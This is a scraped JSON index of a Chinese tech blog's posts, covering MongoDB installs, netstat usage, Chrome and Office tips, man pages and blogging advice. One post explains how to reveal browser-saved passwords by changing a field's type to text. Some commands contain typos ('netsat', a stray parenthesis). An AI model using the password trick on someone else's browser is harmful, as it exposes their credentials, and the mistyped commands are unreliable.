程式碼複製到自己的網頁中即可使用，不需要另外載入圖檔。\n名稱：Patternizer\n網址：https://patternizer.com/\nPlain Pattern Plain Pattern 是一個使用 svg 圖檔來製作無縫圖案的線上工具，您可以上傳自己的 svg 圖來製作自己的無縫圖案。\n名稱：Plain Pattern\n網址：https://www.kennethcachia.com/plain-pattern/\n","permalink":"https://blog.gtwang.org/web-development/free-seamless-patterns-download/","summary":"\u003cp\u003e這裡整理了一系列可以免費產生與下載無縫圖案（seamless pattern）的網站，對於網頁的背景設計很有幫助。\u003c/p\u003e\n\u003cp\u003e設計網站時所使用的背景圖對於網站的整體視覺效果有非常大的影響，在過去網際網路剛剛發展出來的年代，許多網頁的背景都是使用一般的圖片重複排列，手法粗糙而且反而讓網站更雜亂。\u003c/p\u003e","title":"免費產生與下載無縫圖案（Seamless Pattern）網站整理"},{"content":"這裡介紹如何設定停用 Office 2013 的開始畫面，加快啟動速度。\n當啟動 Office 2013 時，會顯示一個開始畫面，讓您選擇想要使用的文件範本，並且列出最近使用過的文件列表，這個功能雖然不錯，不過如果您根本沒有習慣使用這些功能的話，老是要關掉這個開始畫面才能使用 Office 也是一件很惱人的事情。\n以下介紹如何設定不要顯示 Office 2013 的開始畫面，讓您開啟 Office 時就可以直接使用。\nStep 1\n在 Office 的任意一個應用程式中，選擇「檔案」選單。這裡我們以 Word 做示範。\nStep 2\n選擇「選項」。\nStep 3\n將「這個應用程式啟動時顯示開始畫面」的選項取消。\n這樣以後煩人的開始畫面就不會再出現了。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/windows/how-to-bypass-or-completely-disable-the-start-screen-in-office-applications/","summary":"\u003cp\u003e這裡介紹如何設定停用 Office 2013 的開始畫面，加快啟動速度。\u003c/p\u003e\n\u003cp\u003e當啟動 Office 2013 時，會顯示一個開始畫面，讓您選擇想要使用的文件範本，並且列出最近使用過的文件列表，這個功能雖然不錯，不過如果您根本沒有習慣使用這些功能的話，老是要關掉這個開始畫面才能使用 Office 也是一件很惱人的事情。\u003c/p\u003e","title":"如何停用 Office 2013 的開始畫面，加快啟動速度"},{"content":"這裡介紹如何在 Mac OS X 中安裝 MongoDB 資料庫。\n在 Mac OS X 中安裝 MongoDB 資料庫有兩種方式，一種是使用 Homebrew，另一種是手動安裝，以下是兩種安裝方式的步驟。\nHomebrew Homebrew 是一個適用於 Mac OS X 的套件安裝工具，用來安裝 Mac OS X 中所沒有的工具。\n因為 Homebrew 在使用前也是要先自己先安裝好，除非您已經有使用 Homebrew 的習慣，否則建議您直接使用手動安裝的方式來安裝 MongoDB 會比較單純，省去再學一個 Homebrew 的麻煩。\n以下是使用 Homebrew 的安裝指令。首先更新套件：\nbrew update 安裝 mongodb：\nbrew install mongodb 這樣就完成了。\n也可以自己編譯支援 TLS/SSL 的版本：\nbrew install mongodb --with-openssl 或是安裝最新的開發版本：\nbrew install mongodb --devel 手動安裝 首先從 MongoDB 官方網站下載最新的安裝檔，然後先解壓縮：\ntar -zxvf mongodb-osx-x86_64-3.0.2.tgz 建立一個要放置 MongoDB 的目錄，並將解壓縮出來的檔案複製進去：\nmkdir -p mongodb cp -R -n mongodb-osx-x86_64-3.0.2/ mongodb 編輯 ~/.bashrc，設定 PATH，加入：\nexport PATH=mongodb-install-directory/bin:$PATH 其中的 mongodb-install-directory 要替換為自己的安裝路徑。\n啟動 MongoDB MongoDB 安裝完成之後，在使用前還要先建立資料庫存放的目錄，預設的資料庫存放路徑是 /data/db：\nmkdir -p /data/db 建立好這個目錄之後，還要確認一下這個目錄可以被執行 mongod 的使用者存取，您可能會需要用管理者權限來修改一下這個目錄的擁有者，最後再以該擁有者的權限來啟動 mongod：\nmongod 如果您安裝的 MongoDB 是自己開發或測試用的話，建議可以把資料庫放在自己的家目錄下，然後用自己的權限來執行 mongod 即可，省去處理檔案權限的麻煩：\nmkdir -p ~/data/db mongod --dbpath ~/data/db 參考資料 MongoDB ","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-install-mongodb-database/","summary":"\u003cp\u003e這裡介紹如何在 Mac OS X 中安裝 MongoDB 資料庫。\u003c/p\u003e\n\u003cp\u003e在 Mac OS X 中安裝 MongoDB 資料庫有兩種方式，一種是使用 \u003ca href=\"https://brew.sh/\"\u003eHomebrew\u003c/a\u003e，另一種是手動安裝，以下是兩種安裝方式的步驟。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"homebrew\"\u003eHomebrew\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://brew.sh/\"\u003eHomebrew\u003c/a\u003e 是一個適用於 Mac OS X 的套件安裝工具，用來安裝 Mac OS X 中所沒有的工具。\u003c/p\u003e","title":"在 Mac OS X 中安裝 MongoDB 資料庫"},{"content":"這裡示範如何在 Windows 中安裝 MongoDB 資料庫。\n在 Windows 平台中，MongoDB 支援 Windows Server 2008 R2、Windows Vista 或更新的 Windows 版本，Windows XP 是不支援的，以下我們以 Windows 7 為例，示範安裝過程。\nStep 1\n在進行安裝之前，請先確認自己的 Windows 版本。如果您不知道自己的 Windows 版本，開啟命令提示字元，執行下面的指令即可顯示自己的 Windows 版本：\nwmic os get caption wmic os get osarchitecture 輸出的畫面會類似這樣：\nStep 2\n依照自己的 Windows 作業系統版本，從 MongoDB 官方網站上下載適合的安裝檔。\nStep 3\n執行下的安裝檔，進行安裝。\nStep 4\n勾選同意使用條款。\nStep 5\n選擇安裝的方式，這裡有兩種選項，「Complete」是安裝所有的功能，而「Custom」則是可以讓您自己選擇要安裝的項目。\nStep 6\n如果選擇「Complete」的話，就沒有任何選項可以調整。\n您也可以選擇「Custom」，然後依照自己的需求調整，尤其是安裝路徑的部分，預設的路徑是在 Program Files 之下，非常的長，這對於指令的使用非常不方便，您可以將路徑自己修改成類似 C:MongoDB 這樣比較簡潔的路徑，以便日後使用。基本上安裝的路徑對於 MongoDB 的功能不會有任何影響，唯一的差異只是方便與否。\nStep 7\n安裝完成。\nStep 8\n開啟命令提示字元，切換到 MongoDB 安裝路徑下的 bin 目錄，執行\nmd datadb 建立放置資料庫的目錄，這個 datadb 是 MongoDB 預設的資料庫存放路徑。\n接著執行\nmongod.exe 啟動 MongoDB。\n如果想要更改資料庫的存放路徑，可以使用 --dbpath 參數來指定，例如：\nmongod.exe --dbpath d:testmongodbdata 這是啟動的畫面：\n如果沒有錯誤訊息，就表示 MongoDB 已經正常啟動了。\nStep 9\n開啟另外一個命令提示字元，切換到MongoDB 安裝路徑下的 bin 目錄，執行\nmongo.exe 進入 MongoDB shell 環境。\n這樣就可以開始使用 MongoDB 了。\n","permalink":"https://blog.gtwang.org/windows/windows-install-mongodb-database/","summary":"\u003cp\u003e這裡示範如何在 Windows 中安裝 MongoDB 資料庫。\u003c/p\u003e\n\u003cp\u003e在 Windows 平台中，MongoDB 支援 Windows Server 2008 R2、Windows Vista 或更新的 Windows 版本，Windows XP 是不支援的，以下我們以 Windows 7 為例，示範安裝過程。\u003c/p\u003e","title":"在 Windows 中安裝 MongoDB 資料庫"},{"content":"如果你是一個工程師、程式設計者或是技術研發人員，那麼寫一個專業技術分享的部落格也許會對您有幫助。\n通常程式設計師的工作，從早到晚都是坐在辦公室寫程式，但是其實如果有時間的話，將自己所學的技術分享在部落格上，會有許多的益處。\n教學相長 在資訊的領域，新技術的演進非常快速，一般的工程師或程式設計師都會需要不斷地學習新的技術，但是要學會一個新的技術並不是一件很容易的事情，通常都會需要經過很仔細的研究與練習，才會真正完全學會。\n許多人在學習一個新技術時，如果趕時間的話，就直接把範例程式拿來跑一遍，大約瀏覽與修改一下，就覺得自己學完了，但其實不然，這樣的學習成效是很有限的，甚至有時候都把程式跑完了，但是也都不清楚自己在做什麼。\n一個最好的學習方式，就是嘗試把自己學會的東西拿來教別人。\nIf you can\u0026rsquo;t explain it simply, you don\u0026rsquo;t understand it well enough. \u0026ndash; 愛因斯坦\n許多時候您以為自己懂了，但是當要開始教別人時，才發現自己理解的不是很透徹，所以如果您能夠將自己學到的新技術寫出教學的文章，這才表示您真的學會了。\n歷史記錄 就像在學校學的各種科目一樣，學過的東西時間一久就容易忘記，如果在學習時有做筆記，後來萬一忘記了，只要翻閱自己的筆記，應該很快就可以想起來，會比翻書要來得快很多，畢竟自己寫的東西照道理說應該自己都會比較好理解。\n另外放在部落格的筆記因為要給大家看，所以就會認真寫，資料也會認真整理，不會太淩亂，如果只是放在自己的電腦中，就很容易因為趕時間或是懶得整理，程式碼亂七八糟，也沒有註解，最慘的是資料亂丟，久了可能連找都找不到。（這就是我的狀況）\n分享與回饋 當然您將辛苦撰寫出來的文章與大家分享，一定多少會有回饋的，有些人會因為受益而對您表示感謝，收到這些感謝的訊息其實是很開心的，而有些人也會樂於分享自己的相關經驗，這也可以讓您有機會學的更多。\n工作機會 如果您的技術部落格寫得好，其實也是有機會找到額外的工作機會的，例如一些出版商會找一些文筆比較好、又懂技術的人來出書，或是自己在外包網站上接案子，有一個專業的部落格也都會有加分效果。\n如果您的部落格人氣夠旺，放一點廣告來賺一些零用錢也是不錯的點子。\n","permalink":"https://blog.gtwang.org/funny/why-you-should-have-a-programming-blog/","summary":"\u003cp\u003e如果你是一個工程師、程式設計者或是技術研發人員，那麼寫一個專業技術分享的部落格也許會對您有幫助。\u003c/p\u003e\n\u003cp\u003e通常程式設計師的工作，從早到晚都是坐在辦公室寫程式，但是其實如果有時間的話，將自己所學的技術分享在部落格上，會有許多的益處。\u003c/p\u003e","title":"為什麼你應該寫一個技術分享的部落格？"},{"content":"Linux 的 netstat 指令可以用來查詢各種網路相關資訊，檢測各種網路相關的問題。\n在 Linux 系統中若要檢查網路相關的問題，netstat 是一個很常使用到的指令之一，雖然他只能在本機執行，但是他可以列出非常多很有用的資訊，像 socket、TCP、UDP、IP 與 ethernet 層的各種資訊都可以利用 netstat 來查詢。\n一般遇到問題時，第一個檢查步驟就是查閱系統記錄檔（log），必要時可以嘗試提升記錄層級（logging level）來獲得更詳盡的資訊。如果 netstat 所提供的資訊不夠時，亦可使用 Wireshark、tshark、tcpdump 或 nmap 等檢測工具。\n在每個 Linux 系統中預設都會有安裝 netstat，而且他不需要使用管理者權限即可執行，也同時支援 IPv4 與 IPv6，不過不同的 UNIX/Linux 系統可能在參數上會有一些差異，所以如果您寫好的指令要在不同的系統上執行時，可能要稍微注意一下。\n以下是各種 netstat 指令的使用範例與技巧。\n基本用法 列出所有連接埠（Port） 列出所有連接埠，包含 listening 與 non listening：\nnetstat -a 輸出類似這樣：\n僅列出 TCP 的連接埠：\nnetstat -at 僅列出 UDP 的連接埠：\nnetstat -au 列出 Listening 狀態的連接埠 列出所有 listening 狀態的連接埠：\nnetstat -l 列出所有 listening 狀態的 TCP 連接埠：\nnetstat -lt 列出所有 listening 狀態的 UDP 連接埠：\nnetstat -lu 統計數據 列出各種協定的統計數據：\nnetstat -s 列出 TCP 的統計數據：\nnetstat -st 列出 UDP 的統計數據：\nnetstat -su 如果要顯示應詳細的統計數據，可以再加上 -w 參數：\nnetstat -sw 顯示使用網路的行程 加上 -p 這個參數之後，可以顯示每個網路連接埠是被哪一個程式所使用，例如查看所有使用 TCP 連線的程式：\nnetstat -pt 如果用一般使用者的權限執行 netstat 時，就只能查看屬於自己的行程，若要查看所有的行程，就要使用管理者權限：\nsudo netstat -pt 我們可以配合 grep 找出特定程式所使用的連接埠：\nnetstat -ap | grep ssh 不要解析 DNS 如果您不想要讓 netstat 自動解析 DNS、連接埠名稱與使用者名稱的話，可以加上 -n 參數，這樣可以加速 netstat 的執行速度：\nnetstat -an 也可以單獨指定不要解析的項目：\nnetsat -a --numeric-ports netsat -a --numeric-hosts netsat -a --numeric-users 連續輸出 加上 -c 參數之後，可以讓 netstat 每隔一秒輸出一次最新的資訊：\nnetstat -ct 我們也可以用 watch 達到類似的功能：\nwatch -n 1 netstat -t 路由表（Routing Table） 使用 netstat 加上 -r 可以查看目前核心的路由表：\nnetstat -r 輸出會類似這樣\nKernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface default 10.0.2.2 0.0.0.0 UG 0 0 0 eth0 10.0.2.0 * 255.255.255.0 U 0 0 0 eth0 link-local * 255.255.0.0 U 0 0 0 eth0 這個跟 route 的輸出相同。\n網路介面資訊 顯示系統中每個網路介面的資訊：\nnetstat -i Kernel Interface table Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg eth0 1500 0 500 0 0 0 309 0 0 0 BMRU lo 65536 0 283 0 0 0 283 0 0 0 LRU 顯示較詳細的資訊：\nnetstat -ie Kernel Interface table eth0 Link encap:Ethernet HWaddr 08:00:27:e8:47:48 inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fee8:4748/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:500 errors:0 dropped:0 overruns:0 frame:0 TX packets:309 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:436569 (436.5 KB) TX bytes:44984 (44.9 KB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:283 errors:0 dropped:0 overruns:0 frame:0 TX packets:283 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:30501 (30.5 KB) TX bytes:30501 (30.5 KB) 這個跟 ifconfig 的輸出相同。\n進階用法 列出使用中的網路連線 在 netstat 的輸出中會將使用中的網路連線標示為 ESTABLISHED，我們可以藉由 grep 找出這些連線的資訊：\nnetstat -atnp | grep ESTA (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 10.0.2.15:33061 173.194.72.113:80 ESTABLISHED 2266/firefox tcp 0 0 10.0.2.15:55167 54.194.90.130:443 ESTABLISHED 2266/firefox tcp 0 0 10.0.2.15:36853 54.148.186.182:443 ESTABLISHED 2266/firefox tcp 0 0 10.0.2.15:43221 54.230.124.50:80 ESTABLISHED 2266/firefox tcp 0 0 10.0.2.15:59644 91.189.89.240:80 ESTABLISHED 2266/firefox tcp 0 0 10.0.2.15:43378 173.194.72.136:443 ESTABLISHED 2266/firefox tcp 0 0 10.0.2.15:60502 64.233.187.100:443 ESTABLISHED 2266/firefox tcp 0 0 10.0.2.15:60816 54.230.124.50:443 ESTABLISHED 2266/firefox 若要即時監控使用中的連線資訊，可以使用 watch ：\nwatch -d -n0 \u0026#34;netstat -atnp | grep ESTA\u0026#34; 列出完整的 URL 位址 在預設的狀況下，netstat 會將過長的 URL 位址截斷，保持簡潔的輸出格式，而 -W 可以讓 netstat 列出完整的 URL 位址：\nnetstat -tup -W 用 awk 分析連線 這個指令可以分析 Apache 的連線，列出每個 IP 位址的連線數：\nnetstat -anpt | grep apache2 | grep ESTABLISHED | awk -F \u0026#34;[ :]*\u0026#34; \u0026#39;{print $4}\u0026#39; | uniq -c 不過這個指令需要管理者權限才能正常使用。\n這個指令可以將所有連線的 IP 位址列出來，並依照每個 IP 位址的連線數排序：\nnetstat -an | grep ESTABLISHED | awk \u0026#39;/^tcp/ {print $5}\u0026#39; | awk -F: \u0026#39;{print $1}\u0026#39; | sort | uniq -c | sort -nr 輸出會像這樣：\n2 119.160.254.215 1 98.138.250.102 1 98.138.243.53 1 23.41.139.27 1 124.108.101.11 1 116.214.12.74 1 106.10.170.120 這個指令會用 + 號表示連線數：\nnetstat -an | grep ESTABLISHED | awk \u0026#39;{print $5}\u0026#39; | awk -F: \u0026#39;{print $1}\u0026#39; | sort | uniq -c | awk \u0026#39;{ printf(\u0026#34;%st%st\u0026#34;,$2,$1) ; for (i = 0; i \u0026amp;lt; $1; i++) {printf(\u0026#34;+\u0026#34;)}; print \u0026#34;\u0026#34; }\u0026#39; 輸出會像這樣：\n116.214.12.74\t1\t+ 119.160.254.197\t1\t+ 119.160.254.215\t2\t++ 119.161.24.16\t1\t+ 124.108.101.11\t1\t+ 203.69.138.155\t1\t+ 23.41.139.27\t3\t+++ 23.41.141.49\t1\t+ 63.250.200.128\t1\t+ 98.138.243.53\t3\t+++ 98.138.250.102\t1\t+ 這個指令會計算各種連線狀態的統計：\nnetstat -ant | awk \u0026#39;{print $6}\u0026#39; | grep -v established) | grep -v Foreign | sort | uniq -c | sort -n 3 CLOSE_WAIT 3 LISTEN 7 ESTABLISHED 使用者的 Listening 行程 這個指令會列出每個使用者所開啓的 listening 行程數：\nnetstat -ltpe | awk \u0026#39;{print $7}\u0026#39; | grep -v Address | grep -v \u0026#34;^$\u0026#34; | sort | uniq -c | awk \u0026#39;{print $2 \u0026#34;: \u0026#34; $1}\u0026#39; 輸出會像這樣：\ngtwang: 1 root: 3 查看本機服務 -lx 參數可以列出目前 listening 的 UNIX 連接埠：\nnetstat -lx 我們可以透過這個方式檢查哪一些服務是只開給本機（localhost）使用的。\n這個指令可以驗證 MySQL 是否是透過 UNIX domain socket 連線：\nnetstat -lx | grep -i mysql 輸出會像這樣：\nunix 2 [ ACC ] STREAM LISTENING 12921 /var/run/mysqld/mysqd.sock 參考資料 The Geek Stuff Linux User Developer Issue 151 Tecmint Unixmen ","permalink":"https://blog.gtwang.org/linux/linux-netstat-command-examples/","summary":"\u003cp\u003eLinux 的 \u003ccode\u003enetstat\u003c/code\u003e 指令可以用來查詢各種網路相關資訊，檢測各種網路相關的問題。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統中若要檢查網路相關的問題，\u003ccode\u003enetstat\u003c/code\u003e 是一個很常使用到的指令之一，雖然他只能在本機執行，但是他可以列出非常多很有用的資訊，像 socket、TCP、UDP、IP 與 ethernet 層的各種資訊都可以利用 \u003ccode\u003enetstat\u003c/code\u003e 來查詢。\u003c/p\u003e","title":"使用 Netstat 指令檢測網路的技巧"},{"content":"這裡搜集幾個讓 Google Chrome 瀏覽器加速的小技巧，減少 CPU 與記憶體的使用，亦可讓筆記型電腦更省電。\nChrome 是目前很熱門的瀏覽器之一，由於他的上網速度比其他瀏覽器來得快，所以許多人都喜歡選擇 Chrome 當作主要的瀏覽器，但是他所耗費的系統資源其實也很多，如果電腦的硬體設備規格不高，也容易造成整個系統被拖慢。\n以下有幾個小技巧，告訴您該如何調整 Chrome 的設定，關掉自己沒有用到的功能，讓它不會吃掉太多的 CPU 或是記憶體，也可以讓筆記型電腦更省電。\n這些技巧中不見得每一項都適用於每一個人，請依照自己的使用習慣來選擇。\n背景執行 Chrome 預設會開啟背景執行的功能，這個功能會讓 Chrome 在開機時就自動載入，不管您有沒有打開 Chrome 瀏覽器，它都會在背景執行，它的好處是可以讓您在開啟 Chrome 時不需要等太久，不過如果您不是時常使用 Chrome 瀏覽器，而且也沒有安裝 Chrome apps 應用程式，那麼這個功能其實就可以關掉，讓您在沒有使用 Chrome 瀏覽器時，可以釋放更多系統資源。\n若有開啟 Chrome 背景執行功能時，在系統圖示列中就會出現 Chrome 的圖示，而其右鍵選單中就可以設定這個功能是否要啟用。\n移除沒用的擴充功能 Chrome 的線上應用程式商店中，有很多擴充功能，雖然很多都是免費的，但是如果裝太多，反而會拖慢整個瀏覽器的速度，而且也會占用很多記憶體空間。\n在 Chrome 的「工作管理員」中就可以看出每一個擴充功能所使用的記憶體大小，如果裝太多沒有用到的擴充功能，只會讓系統更慢，沒有好處。\n偶爾瀏覽一下自己安裝的擴充功能，把沒用到的擴充功能停用或是移除，對於 Chrome 的速度提升會有幫助。\n自行選擇外掛程式執行時機 在「設定」-「內容設定」中，有一個外掛程式的設定，這裏可以選擇「我要自行選擇執行外掛程式內容的時機」，選擇這個選項之後，所有網頁中的 Flash 內容都不會自動執行，只有使用者手動開啟的內容才會執行，這個可以防止許多沒有用的 Flash 程式在背景執行，耗費資源，而其他的外掛程式也都是如此。\n如果不讓 Flash 的外掛自動執行的話，如果遇到有 Flash 的內容時，就只會出現一個灰色框框，雖然瀏覽器速度會提升，但是就無法直接看到 Flash 的內容，若要觀看其內容，就要手動把 Flash 開啟，所以這個功能大家自行斟酌使用。\n別開太多分頁 您可以在 Chrome 中一次開啟數十張分頁，同時瀏覽許多網站，不過如果您想要節省 CPU 與記憶體，最好別開太多分頁。\n您可以從 Chrome 的工作管理員中看到每個分頁的記憶體使用量，關閉沒用的分頁可以省掉許多的系統資源。\n換一個瀏覽器 雖然 Chrome 瀏覽器的功能很強大，但是也不見得適用於每一個人，如果只是要簡單的瀏覽網頁，您也可以嘗試使用其他的瀏覽器。\n每個瀏覽器都有他的特色，例如 Safari 瀏覽器在 Mac 電腦上會比較省資源，而 Firefox 在 Windows 中所使用的記憶體會比 Chrome 還低，這些大家都可以嘗試看看。\n","permalink":"https://blog.gtwang.org/tips/speedup-google-chrome-use-less-battery-life-memory-and-cpu/","summary":"\u003cp\u003e這裡搜集幾個讓 Google Chrome 瀏覽器加速的小技巧，減少 CPU 與記憶體的使用，亦可讓筆記型電腦更省電。\u003c/p\u003e\n\u003cp\u003eChrome 是目前很熱門的瀏覽器之一，由於他的上網速度比其他瀏覽器來得快，所以許多人都喜歡選擇 Chrome 當作主要的瀏覽器，但是他所耗費的系統資源其實也很多，如果電腦的硬體設備規格不高，也容易造成整個系統被拖慢。\u003c/p\u003e","title":"加速 Google Chrome 瀏覽器，減少 CPU 與記憶體的使用"},{"content":"這裡示範在 Ubuntu Linux 中使用 MongoDB 官方所提供的 deb 套件來安裝 MongoDB 資料庫。\n雖然 Ubuntu 官方的套件庫也有收錄 MongoDB 的套件，不過通常 MongoDB 官方所提供的 deb 套件會比較新。\nMongoDB 官方的套件主要有：\nmongodb-org：這是一個 meta 套件，包含所有 MongoDB 的相關套件。 mongodb-org-server：mongod 程式與相關設定檔。 mongodb-org-mongos：mongos 程式。 mongodb-org-shell：mongo shell。 mongodb-org-tools：其餘各種工具。 安裝 MongoDB 以下是安裝步驟。\nStep 1\n匯入 MongoDB 公開的 GPG 金鑰：\nsudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 7F0CEB10 Step 2\n建立 /etc/apt/sources.list.d/mongodb-org-3.0.list：\necho \u0026#34;deb http://repo.mongodb.org/apt/ubuntu \u0026#34;$(lsb_release -sc)\u0026#34;/mongodb-org/3.0 multiverse\u0026#34; | sudo tee /etc/apt/sources.list.d/mongodb-org-3.0.list Step 3\n更新套件庫：\nsudo apt-get update Step 4\n安裝 MongoDB：\nsudo apt-get install -y mongodb-org 也可以直接指定版本，安裝特定版本的 MongoDB：\nsudo apt-get install -y mongodb-org=3.0.2 mongodb-org-server=3.0.2 mongodb-org-shell=3.0.2 mongodb-org-mongos=3.0.2 mongodb-org-tools=3.0.2 如果您不希望未來 apt 自動將 MongoDB 更新至更新的版本，可以執行以下的指令，讓 MongoDB 的版本維持不變：\necho \u0026#34;mongodb-org hold\u0026#34; | sudo dpkg --set-selections echo \u0026#34;mongodb-org-server hold\u0026#34; | sudo dpkg --set-selections echo \u0026#34;mongodb-org-shell hold\u0026#34; | sudo dpkg --set-selections echo \u0026#34;mongodb-org-mongos hold\u0026#34; | sudo dpkg --set-selections echo \u0026#34;mongodb-org-tools hold\u0026#34; | sudo dpkg --set-selections 啟動 MongoDB MongoDB 預設會以 mongodb 這個使用者的權限來執行，並將資料儲存在 /var/lib/mongodb 中，而所有的紀錄檔都會放在 /var/log/mongodb，而這些設定可以從 /etc/mongod.conf 中修改。\n如果您修改了 MongoDB 執行的使用者，記得要檢查 /var/lib/mongodb 與 /var/log/mongodb 的權限，確定執行 MongoDB 的使用者可以存取。\n若要啟用 MongoDB，則執行：\nsudo service mongod start 如果正常的話，在記錄檔中會有一行類似這樣的訊息：\n[initandlisten] waiting for connections on port 27017 如果要停止 MongoDB，則執行：\nsudo service mongod stop 如果要重新啟動 MongoDB，則執行：\nsudo service mongod restart 移除 MongoDB 如果要完全移除 MongoDB，除了刪除 MongoDB 應用程式本身之外，還要連同設定檔與資料一起刪除。\n以下的步驟會完全移除 MongoDB 與所有的資料庫，請確認您是否已經將重要資料或是設定檔備份好了。\nStep 1\n停止 MongoDB 服務：\nsudo service mongod stop Step 2\n移除所有 MongoDB 套件：\nsudo apt-get purge mongodb-org* Step 3\n刪除所有的記錄檔與資料庫：\nsudo rm -r /var/log/mongodb sudo rm -r /var/lib/mongodb ","permalink":"https://blog.gtwang.org/linux/install-mongodb-on-ubuntu/","summary":"\u003cp\u003e這裡示範在 Ubuntu Linux 中使用 MongoDB 官方所提供的 deb 套件來安裝 MongoDB 資料庫。\u003c/p\u003e\n\u003cp\u003e雖然 Ubuntu 官方的套件庫也有收錄 MongoDB 的套件，不過通常 MongoDB 官方所提供的 deb 套件會比較新。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"在 Ubuntu Linux 中安裝 MongoDB 資料庫"},{"content":"這裡介紹如何顯示儲存在瀏覽器中卻隱藏的密碼，讓你再忘記密碼時，可以從瀏覽器中找回來。\n現在大部份的瀏覽器都有儲存密碼的功能，由於這個功能實在太方便了，讓人不需要自己輸入密碼就可以登入各種線上服務，許多人都很習慣直接把密碼存在瀏覽器中，不過時間一久就很容易讓人忘記自己的密碼是什麼，當換一台電腦時就無法登入了，而在原本的瀏覽器中雖然密碼會自動填入，但是卻也看不到實際的密碼是什麼，最後只好重設密碼，浪費許多時間。\n這樣的問題相信許多人都遇到過，其實可以透過一些網頁的技巧直接顯示瀏覽器中儲存的密碼，不用大費周章去把密碼重新設定，以下是 Chrome 與 Firefox 的操作步驟。\nChrome Step 1\n開啟想要查看密碼的登入網頁。\nStep 2\n在密碼的輸入欄位上點選滑鼠右鍵，選擇「檢查元素」。\nStep 3\n尋找輸入密碼的 input 標籤，在下方 HTML 程式碼選取的同時，上面的網頁中也會出現目前選取的對應項目，所以您可以很清楚知道自己所選擇的 input 標籤是否正確。\nStep 4\n在下方 HTML 程式碼中，將這個 input 標籤的 type 屬性從 password 改為 text（使用滑鼠點兩下就可以修改）。\nStep 5\n修改好之後，密碼就會顯示出來了。\nFirefox Step 1\n開啟想要查看密碼的登入網頁。\nStep 2\n在密碼的輸入欄位上點選滑鼠右鍵，選擇「檢測元素」。\nStep 3\n尋找輸入密碼的 input 標籤，在下方 HTML 程式碼選取的同時，上面的網頁中也會出現目前選取的對應項目，所以您可以很清楚知道自己所選擇的 input 標籤是否正確。\nStep 4\n在下方 HTML 程式碼中，將這個 input 標籤的 type 屬性從 password 改為 text（使用滑鼠點兩下就可以修改）。\nStep 5\n修改好之後，密碼就會顯示出來了。\n參考資料 HONGKIAT ","permalink":"https://blog.gtwang.org/tips/reveal-hidden-passwords-in-browsers/","summary":"\u003cp\u003e這裡介紹如何顯示儲存在瀏覽器中卻隱藏的密碼，讓你再忘記密碼時，可以從瀏覽器中找回來。\u003c/p\u003e\n\u003cp\u003e現在大部份的瀏覽器都有儲存密碼的功能，由於這個功能實在太方便了，讓人不需要自己輸入密碼就可以登入各種線上服務，許多人都很習慣直接把密碼存在瀏覽器中，不過時間一久就很容易讓人忘記自己的密碼是什麼，當換一台電腦時就無法登入了，而在原本的瀏覽器中雖然密碼會自動填入，但是卻也看不到實際的密碼是什麼，最後只好重設密碼，浪費許多時間。\u003c/p\u003e","title":"如何顯示儲存在瀏覽器中卻隱藏的密碼？"},{"content":"這裡整理一些關於 Linux 線上手冊（man page）的使用範例，教您如何善用這些說明文件。\n在 UNIX/Linux 的系統中有非常多的指令，通常使用者（甚至是資深的系統管理者）都無法記住每個指令的詳細使用方式，尤其是那些有非常多參數可以用的指令，就算是天天在用的 ls，您可能也不是很清楚它所有的參數如何使用。\n所幸一般 UNIX/Linux 系統中的指令都會附帶相關的線上說明手冊（man page），提供使用者查詢與參考。\nman page（manual page 的簡寫）是在 UNIX/Linux 系統上特有的說明文件格式，在這個領域大家都會直接稱呼這樣的文件為 man page。\n基本查詢 一般稍微有經驗的 Linux 使用者大概都知道使用 man 指令加上要查詢的說明主題來閱讀線上手冊，通常主題的名稱就是指令或是函數的名稱，例如查詢 ls 的用法：\nman ls 這樣就可以查閱 ls 的使用方式：\n指定章節（Section） Linux 的線上手冊分為幾個主要的章節（sections），每個章節對應不同的類別：\n1：可執行的程式或是 shell 指令。 2：系統呼叫（system calls，Linux 核心所提供的函數）。 3：一般函式庫函數。 4：特殊檔案（通常位於 /dev）。 5：檔案格式與協定，如 /etc/passwd 6：遊戲。 7：雜項（巨集等，如 man(7)、groff(7)）。 8：系統管理者指令（通常是管理者 root 專用的）。 9：Kernel routines（非標準）。 而在線上手冊中的文件都會以小括弧來標明該文件所屬的章節，例如 LS(1) 就代表這份文件隸屬於第 1 個章節。\n有些時候一個主題名稱在不同章節中有不同的說明文件，如果查詢一個主題的時候沒有指定章節，預設會依照 1 n l 8 3 2 3posix 3pm 3perl 5 4 9 6 7 這個順序來搜尋，然後顯示第一個搜尋到的章節。\n例如 passwd 這個主題有 passwd(1) 與 passwd(5) 兩個章節，如果不指定章節的話：\nman passwd 就會顯示 passwd(1)，而若要查詢 passwd(5) 的話，就要明確指定章節數：\nman 5 passwd 